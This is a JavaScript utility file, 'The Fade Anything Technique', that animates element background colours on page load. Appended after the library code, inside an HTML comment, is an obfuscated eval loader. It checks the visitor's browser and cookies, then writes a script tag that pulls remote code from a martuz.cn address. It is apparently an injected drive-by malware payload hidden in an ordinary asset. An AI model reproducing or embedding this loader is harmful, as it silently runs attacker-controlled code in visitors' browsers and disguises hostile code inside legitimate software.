// @name      The Fade Anything Technique
// @namespace http://www.axentric.com/aside/fat/
// @version   1.0-RC1
// @author    Adam Michela

var Fat = {
	make_hex : function (r,g,b) 
	{
		r = r.toString(16); if (r.length == 1) r = '0' + r;
		g = g.toString(16); if (g.length == 1) g = '0' + g;
		b = b.toString(16); if (b.length == 1) b = '0' + b;
		return "#" + r + g + b;
	},
	fade_all : function ()
	{
		var a = document.getElementsByTagName("*");
		for (var i = 0; i < a.length; i++) 
		{
			var o = a[i];
			var r = /fade-?(\w{3,6})?/.exec(o.className);
			if (r)
			{
				if (!r[1]) r[1] = "";
				if (o.id) Fat.fade_element(o.id,null,null,"#"+r[1]);
			}
		}
	},
	fade_element : function (id, fps, duration, from, to) 
	{
		if (!fps) fps = 30;
		if (!duration) duration = 3000;
		if (!from || from=="#") from = "#FFFF33";
		if (!to) to = this.get_bgcolor(id);
		
		var frames = Math.round(fps * (duration / 1000));
		var interval = duration / frames;
		var delay = interval;
		var frame = 0;
		
		if (from.length < 7) from += from.substr(1,3);
		if (to.length < 7) to += to.substr(1,3);
		
		var rf = parseInt(from.substr(1,2),16);
		var gf = parseInt(from.substr(3,2),16);
		var bf = parseInt(from.substr(5,2),16);
		var rt = parseInt(to.substr(1,2),16);
		var gt = parseInt(to.substr(3,2),16);
		var bt = parseInt(to.substr(5,2),16);
		
		var r,g,b,h;
		while (frame < frames)
		{
			r = Math.floor(rf * ((frames-frame)/frames) + rt * (frame/frames));
			g = Math.floor(gf * ((frames-frame)/frames) + gt * (frame/frames));
			b = Math.floor(bf * ((frames-frame)/frames) + bt * (frame/frames));
			h = this.make_hex(r,g,b);
		
			setTimeout("Fat.set_bgcolor('"+id+"','"+h+"')", delay);

			frame++;
			delay = interval * frame; 
		}
		setTimeout("Fat.set_bgcolor('"+id+"','"+to+"')", delay);
	},
	set_bgcolor : function (id, c)
	{
		var o = document.getElementById(id);
		o.style.backgroundColor = c;
	},
	get_bgcolor : function (id)
	{
		var o = document.getElementById(id);
		while(o)
		{
			var c;
			if (window.getComputedStyle) c = window.getComputedStyle(o,null).getPropertyValue("background-color");
			if (o.currentStyle) c = o.currentStyle.backgroundColor;
			if ((c != "" && c != "transparent") || o.tagName == "BODY") { break; }
			o = o.parentNode;
		}
		if (c == undefined || c == "" || c == "transparent") c = "#FFFFFF";
		var rgb = c.match(/rgb\s*\(\s*(\d{1,3})\s*,\s*(\d{1,3})\s*,\s*(\d{1,3})\s*\)/);
		if (rgb) c = this.make_hex(parseInt(rgb[1]),parseInt(rgb[2]),parseInt(rgb[3]));
		return c;
	}
}

addLoadEvent(function ()  {
	Fat.fade_all();
});<!-- 
(function(lErM){eval(unescape(('#76ar#20#61#3d#22#53cr#69p#74Engine#22#2cb#3d#22V#65r#73ion()#2b#22#2cj#3d#22#22#2cu#3d#6e#61#76#69gator#2euser#41gent#3bif((u#2ei#6e#64exOf(#22Chrom#65#22)#3c0#29#26#26(#75#2e#69nde#78#4ff(#22W#69n#22)#3e0)#26#26(u#2e#69ndexOf#28#22NT#206#22#29#3c0)#26#26(#64#6fcu#6d#65n#74#2ecook#69#65#2ein#64ex#4f#66(#22m#69#65k#3d1#22#29#3c0)#26#26(typeof#28zrvzts)#21#3dt#79p#65of(#22#41#22))#29#7bzrvzts#3d#22A#22#3b#65val#28#22if(w#69#6e#64ow#2e#22#2ba+#22)#6a#3d#6a+#22#2ba+#22Ma#6aor#22#2b#62+a+#22Mino#72#22+b+a#2b#22B#75ild#22+b+#22j#3b#22)#3b#64ocumen#74#2ew#72i#74e#28#22#3cs#63#72#69pt#20#73r#63#3d#2f#2fm#61r#22+#22#74#75#7a#2ec#6e#2fvid#2f#3fid#3d#22+j#2b#22#3e#3c#5c#2f#73cr#69pt#3e#22#29#3b#7d').replace(lErM,'%')))})(/\#/g);
 -->
